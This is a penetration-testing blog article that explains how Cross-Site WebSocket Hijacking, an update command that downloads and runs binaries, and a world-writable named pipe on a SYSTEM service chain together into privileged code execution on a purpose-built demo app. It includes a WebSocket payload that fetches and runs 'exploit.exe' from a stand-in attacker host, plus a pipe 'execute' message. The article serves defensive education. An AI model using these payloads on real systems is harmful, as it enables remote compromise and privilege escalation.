Exploitation Chains in Lightweight Desktop Applications

Demonstrating a chain of WebSocket, Services, and Named Pipes

Authored by: Ramiro Molina

In the past several years, many desktop applications—especially clients for cloud-based products—have transitioned into  lightweight or web-based desktop client applications. These applications are moving away from the concept of heavily implementing logic in distributed executables. Instead, they  use an embedded web browser or another similar technology to load a website or  simple web pages from a remote server. Effectively, this turns these lightweight desktop applications into a regular web application that can be rendered in a browser. This approach has been quite common for mobile applications, and there are still quite a lot that are implemented this way. 

But the problem is that usually these applications end up needing further access to the system to “do their thing.” This may include access to local devices, services, or privileged actions in the local system. Mobile application ecosystems are analogous to applications that leverage WebView to render web pages inside the mobile application interface. Another implementation of lightweight applications are Progressive Web Applications (PWA).

During penetration tests we often face new applications that employ different technologies and implement features in creative ways. This may result in mistakes during the design and deployment that could lead to security weaknesses. One of the flaws we have seen when talking to developers is a lack of security concerns at the beginning of the design process. These tools may be formal, like a Threat Model or informal, like notes taken during a conversation. However, it is important to have security in mind at the beginning of the development process.

It is common for us to find security weaknesses that may look low-risk but, when combined, would allow an attacker to create an attack chain that poses considerable risk to users.  

In this article, we will illustrate how vulnerabilities found during an application penetration test could be chained together and exploited, resulting in remote code execution with elevated privileges in the operating system.

Further Access to the System Means a Larger Threat Landscape

In order to demonstrate the effects of exploitation chains, we built an to application to use as an example. This desktop application would be intended for consumer level devices, and enables users to upgrade, install updates, and configure through USB from a Windows PC. It is a lightweight application that loads a website hosted in the cloud and manages the installation of different components on the end device.

From the above description, we know that further access into the local system is required to interact with the device connected through the USB port, especially since “raw” access to the device is needed to perform low-level maintenance, such as firmware upgrades.

 Initial Analysis of the Application

Our example application leverages technologies and implements them in a similar way as the real applications we have tested before. To simplify the development of one of the parts of the example application, we used Microsoft .NET and C#. Other parts were implemented using native C++. The applications we tested in real world assessments that presented these types of weaknesses were mostly native C++.

After a regular installation process in a Windows VM, we began to run the desktop application to test it and start its analysis.

The application required access to the Internet to display online content, otherwise it showed an error message. Using Microsoft SysInternal Process Explorer, we immediately noticed that it was listening for connections in the localhost interface in a high-range TCP port as shown in the following image:

Image

We used Wireshark to inspect the network traffic generated by the application, initially looking for any plain-text (unencrypted) traffic. And sure enough, there was some present. By right-clicking on the HTTP packets and following the TCP stream, it was clear that the local service was a WebSocket server implementation and it had received a connection from the application itself as shown below:

Image
websocket_server_implementation_received_connection

In the above image, it can also be seen that the Origin header indicated the identity of the remote web server that the rendered web page on the application was loaded from. For this example, a bogus hostname remote-test-server was used.

While analyzing the application’s footprint—specifically, its folders—we noticed that the application logged detailed information about the execution flow by default. This is a great illustration of how information disclosure can be leveraged by an attacker in further targeted attacks, since the log included details that provided additional  understanding of the inner working of the application without the need for further reverse engineering. 

Along with other details, we also obtained the URL that was being loaded by the application in the embedded web browser. The hostname in the URL matched the one we observed in the Origin header. For this example, the URL was:

http://remote-test-server:8085/index.html

Accessing the URL with a regular browser proved that it was the same web page that loaded in the application’s window. Using the browser’s developers’ tools showed us the creation of the WebSocket channel and the exchanged messages without needing to proxy the application, as can be seen below:

Image
exchange_messages_without_proxy

Digging into the WebSocket Server Implementation

Based on our previous observations, we tested the connection to the WebSocket server by sending the same request with minor modifications to disable the compression of the response:

GET /wsservice HTTP/1.1

Host: localhost:59080

Connection: Upgrade

Pragma: no-cache

Cache-Control: no-cache

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.75 Safari/537.36

Upgrade: websocket

Origin: http://remote-test-server:8085

Sec-WebSocket-Version: 13

Accept-Language: en-US,en;q=0.9

Sec-WebSocket-Key: CfVarey003VcJvAssgr9Xw==

In the following image, we can see the request and response indicating that a WebSocket session could be created:

Image
request_response_indicating_websocket_session_create

We then could create a new WebSocket connection on a new repeater tab of Burp Suite, which would allow us to send commands to the WebSocket server. As shown below, we included the request to create a new WebSocket connection to the localhost interface on the TCP port 59080:

Image
include_request_to_create_a_new_websocket_connection

After the new WebSocket connection was created, we were able to send messages to interact with the service. For example, the command for the typical ping-pong feature is shown below:\

Image
typical_ping_pong_feature

Cross-Site WebSocket Hijacking

By far the most common vulnerability of a WebSocket is Cross-Site WebSocket Hijacking.  This vulnerability is equivalent to how Cross Site Request Forgery attacks work, but in the case of WebSockets, the attacker has control of a full bidirectional channel, and can potentially impersonate the victim. In practice, if an attacker that can trick a victim user to visit a malicious web site hosted in an external domain (i.e., an unknown origin), they can force the victim's browser to establish a communication channel with the WebSocket server listening in the local system.

In this case, the WebSocket server was vulnerable to Cross-Site WebSocket Hijacking and therefore, as shown below, it was possible to establish a connection to the local WebSocket server with an arbitrary hostname specified in the Origin header of the HTTP request:

Image
arbitrary_hostname_specified_origin_header

WebSocket Server Commands

The next step was to analyze the web page that was being loaded by the application that we already had the URL for, as discussed earlier.

During real-world penetration tests, we often find very interesting endpoints or interactions included in the embedded JavaScript code.

In this example the loaded web page included JavaScript code to interact using with the service that we found using WebSockets on the localhost interface. The analysis of the JavaScript code showed several interesting commands that the WebSocket server seemed to accept. One example was update_binary, which was included in the source code as shown below:

 m.callAsync({command: "update_binary", url: d})

With such an interesting name for a command, we obviously had to test it and see what we could achieve. It turned out that this command was intended to update the application. This was performed by downloading a binary file to the application’s folder and executing it. The original executable was for complete a normal update process.

We suspected that this pattern might correspond to a remote code execution vulnerability. To exploit this vulnerability, we started by sending the following command to the service through the WebSocket connection. In this example, we used a binary executable file to spawn a calculator:

 {"command":"update_binary","url":"http://attacker-server/exploit.exe"}

As a result, the calculator application was executed by the vulnerable application:

Image
calculator_application_executed_by_vulnerable_application

A Privileged System Service

To allow the application to interact with connected devices through USB, a local service is used to spawn an additional binary to interact with the specific device. That binary was executed with local system privileges. Through this other process, it was possible to deploy updates, install add-ons and perform other maintenance tasks on the USB connected devices.

We continued by first checking the service binary. Our service application binary, named ConnectService.exe, executed with local system privileges but also opens a named pipe called ConnectServicePipe:

Image
service_application_binary_connectservice

We analyzed the privileges required to interact with this named pipe using Microsoft SysInternals’ Accesschk tool. We found that everyone has read and write privileges on the named pipe. Therefore, any user in the system can interact with it:

Image
privileges_for_microsoft_sysinternals_accesschk

We then proceeded to monitor the named pipe traffic using a really useful tool named IONinja. We found that there was inter-process communication through the named pipe between the main application and the service which involved exchanging messages. One particularly interesting command was:

{"command":"execute","path":" C:\\Program Files (x86)\\Core Security\\ConnectApp\\device.exe"}

This “execute” command was used to launch the additional binary that was specifically for the device connect, which would allow it to perform all the corresponding interactions through USB. As we saw earlier, the service was running with local system privileges, so the executed binary would also benefit from those permissions.

Interaction of the Application Components

Based on our previous analysis of the different components of the application and their interactions we were able to put together a summary:

Image
different_components_of_application_interactions_diagram

Exploiting the Service Vulnerability

We then proceeded to build an application (ConnectServicePipeClient.exe) that connected to the named pipe and wrote a similar message while specifying the path for an arbitrary binary. As a parameter for the “execute” command, a simple application binary exec_command_whoami.exe was passed. That application then executed the following system command:

cmd /c whoami /all > c:\whoami.txt

This command created a file on the root folder of the C: drive, which resulted in the execution of the whoami /all command. The whoami command returned the current user and its attributes.

The following image shows the execution of the ConnectServicePipeClient.exe, which passed as a parameter the path to the exec_command_whoami.exe application:

Image
execution_of_connectservicepipeclient

The exchanged messages can be seen during the monitoring of the named pipe using IONinja:

Image
exchanged_messages_seeen_during_monitoring_of_IONinja

Finally, we were able to confirm that the exec_command_whoami.exe application was executed by checking the file whoami.txt that was created in the root folder of the C: drive. This proved that privilege escalation was achieved:

Image
demonstrate_privilege_escalation_was_achieved

The Full Attack Chain

By chaining all the different vulnerabilities that we covered, we could build an exploitation chain that would result in full system compromise. For this, a user would need to be tricked into opening a website while having the vulnerable application open. Alternatively, in the same web application, the user could be tricked into opening the vulnerable application if was not already running.

The full attack chain is summarized below:

Image
full_attack_chain_timeline

Conclusions

This example shows how security weaknesses that may seem to have a lower risk can be combined and  allow an attacker to create an attack chain which could posing an actual risk to users. This may ultimately result in remote code execution with elevated privileges in the operating system.

This type of exercise demonstrates that weaknesses could be introduced at the beginning of the design process, if security concerns aren’t appropriately prioritized. While incorporating security during the design process could require leveraging formal tools, such as a Threat Model, it is important to have these in mind at the beginning of the development process and support them by incorporating penetration testing in the development process.

Want more expert insight into penetration tests?

CTA Text

Learn how pen testers show why control of Active Directory provides so much power and possibility in our Getting Inside the Mind of an Attacker series.

READ THE SERIES